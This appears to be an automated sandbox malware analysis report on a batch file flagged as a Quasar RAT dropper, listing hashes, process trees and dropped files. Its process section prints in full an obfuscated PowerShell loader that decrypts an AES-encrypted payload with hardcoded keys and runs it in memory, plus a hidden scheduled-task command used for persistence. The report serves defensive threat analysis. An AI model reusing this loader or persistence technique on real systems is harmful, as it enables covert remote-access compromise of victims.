Malware Analysis Report

2024-10-19 06:32

Sample ID 240628-2vdxraxdql
Target testing.bat
SHA256 9db155af18a56368ff0d18ab954438bbb14ec90a7cacc603f66ce5468e4bf3c4
Tags
quasar execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9db155af18a56368ff0d18ab954438bbb14ec90a7cacc603f66ce5468e4bf3c4

Threat Level: Known bad

The file testing.bat was found to be: Known bad.

Malicious Activity Summary

quasar execution spyware trojan

Quasar RAT

Quasar payload

Command and Scripting Interpreter: PowerShell

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-06-28 22:53

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-28 22:53

Reported

2024-06-28 22:54

Platform

win11-20240508-en

Max time kernel

0s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testing.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\testing.bat"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FkenHL2OG+TYr4GLR0foZuRMV6VKNesGlzUIpfTgBFk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QBB/ZOZrEm9IOU0Xu/iBug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NRfwC=New-Object System.IO.MemoryStream(,$param_var); $nYQyQ=New-Object System.IO.MemoryStream; $pUpSy=New-Object System.IO.Compression.GZipStream($NRfwC, [IO.Compression.CompressionMode]::Decompress); $pUpSy.CopyTo($nYQyQ); $pUpSy.Dispose(); $NRfwC.Dispose(); $nYQyQ.Dispose(); $nYQyQ.ToArray();}function execute_function($param_var,$param2_var){ $EBCxv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Srqon=$EBCxv.EntryPoint; $Srqon.Invoke($null, $param2_var);}$PfOfJ = 'C:\Users\Admin\AppData\Local\Temp\testing.bat';$host.UI.RawUI.WindowTitle = $PfOfJ;$FHPTQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PfOfJ).Split([Environment]::NewLine);foreach ($yJrJm in $FHPTQ) { if ($yJrJm.StartsWith(':: ')) { $KDOrR=$yJrJm.Substring(3); break; }}$payloads_var=[string[]]$KDOrR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_650_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_650.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_650.vbs"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_650.bat" "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FkenHL2OG+TYr4GLR0foZuRMV6VKNesGlzUIpfTgBFk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QBB/ZOZrEm9IOU0Xu/iBug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $NRfwC=New-Object System.IO.MemoryStream(,$param_var); $nYQyQ=New-Object System.IO.MemoryStream; $pUpSy=New-Object System.IO.Compression.GZipStream($NRfwC, [IO.Compression.CompressionMode]::Decompress); $pUpSy.CopyTo($nYQyQ); $pUpSy.Dispose(); $NRfwC.Dispose(); $nYQyQ.Dispose(); $nYQyQ.ToArray();}function execute_function($param_var,$param2_var){ $EBCxv=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $Srqon=$EBCxv.EntryPoint; $Srqon.Invoke($null, $param2_var);}$PfOfJ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_650.bat';$host.UI.RawUI.WindowTitle = $PfOfJ;$FHPTQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PfOfJ).Split([Environment]::NewLine);foreach ($yJrJm in $FHPTQ) { if ($yJrJm.StartsWith(':: ')) { $KDOrR=$yJrJm.Substring(3); break; }}$payloads_var=[string[]]$KDOrR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));

Network

N/A

Files

memory/3560-0-0x000000007444E000-0x000000007444F000-memory.dmp

memory/3560-1-0x0000000003100000-0x0000000003136000-memory.dmp

memory/3560-2-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3560-3-0x0000000005960000-0x0000000005F8A000-memory.dmp

memory/3560-5-0x00000000058F0000-0x0000000005956000-memory.dmp

memory/3560-6-0x0000000005F90000-0x0000000005FF6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k2f2q2d3.d1h.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3560-4-0x0000000005750000-0x0000000005772000-memory.dmp

memory/3560-15-0x00000000060F0000-0x0000000006447000-memory.dmp

memory/3560-16-0x00000000064D0000-0x00000000064EE000-memory.dmp

memory/3560-17-0x0000000006520000-0x000000000656C000-memory.dmp

memory/3560-18-0x0000000007CB0000-0x000000000832A000-memory.dmp

memory/3560-19-0x0000000007680000-0x000000000769A000-memory.dmp

memory/3560-20-0x00000000076C0000-0x00000000076C8000-memory.dmp

memory/3560-21-0x00000000077B0000-0x000000000784C000-memory.dmp

memory/3560-22-0x00000000078E0000-0x0000000007928000-memory.dmp

memory/3560-23-0x00000000088E0000-0x0000000008E86000-memory.dmp

memory/3460-25-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-26-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-35-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-46-0x0000000007890000-0x00000000078AE000-memory.dmp

memory/3460-37-0x0000000070630000-0x000000007067C000-memory.dmp

memory/3460-36-0x0000000007850000-0x0000000007884000-memory.dmp

memory/3460-47-0x00000000078C0000-0x0000000007964000-memory.dmp

memory/3460-48-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-49-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-50-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-51-0x0000000007A70000-0x0000000007A7A000-memory.dmp

memory/3460-52-0x0000000007C80000-0x0000000007D16000-memory.dmp

memory/3460-53-0x0000000007C10000-0x0000000007C21000-memory.dmp

memory/3460-54-0x0000000074440000-0x0000000074BF1000-memory.dmp

memory/3460-57-0x0000000074440000-0x0000000074BF1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 933fb73dbd2098e46bd27b24fb4031d1
SHA1 e8bc25602b11d63dc94c05f68bcb7b4a4e1675d5
SHA256 e5b2501f4a722392ae525de052142f2bf2096e71833461d6ee7b5d4a83b8915d
SHA512 46c1fcad445cee8db84d11ff1032f4df96180775ad5933ec918b3d38bbd8954e71fa83a22a990b0f195be5d313ce693ba37b1b5261b9914df31619538fa24aaa

C:\Users\Admin\AppData\Roaming\Windows_Log_650.vbs

MD5 6d22072f72ca064725151f80cd04bf57
SHA1 a6aced68e9de35a293ef2855c64946b9c596f64e
SHA256 079389210ed3e04ca1bb335283ff5d37fcfcb97968b8cb173909e4cef7f48ea0
SHA512 8177fdb61da79b8e83efa6010333f486d89c53b58f1d9cd30bdcfb19c020b7220196eeddefcf4830731a07a6f7267b4e29621fb42e85ca6cf2f0209b7e71f56e

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 8ba8fc1034d449222856ea8fa2531e28
SHA1 7570fe1788e57484c5138b6cead052fbc3366f3e
SHA256 2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2
SHA512 7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b

C:\Users\Admin\AppData\Roaming\Windows_Log_650.bat

MD5 df396b97b5de6c7ab17a021681980c9b
SHA1 5a794a857884e1ec35eb225397ee6d3a5680af22
SHA256 9db155af18a56368ff0d18ab954438bbb14ec90a7cacc603f66ce5468e4bf3c4
SHA512 96a6423ff510d21cfa9e385e38c3d65e3b2f65cb3309082b734358e1f7b097be44276b74d64b62c5957bb554f1c97dabd889aedea0306441b4431d57636a3848

memory/3880-75-0x0000000007710000-0x0000000007758000-memory.dmp

memory/3880-76-0x0000000007800000-0x0000000007892000-memory.dmp

memory/3560-78-0x0000000074440000-0x0000000074BF1000-memory.dmp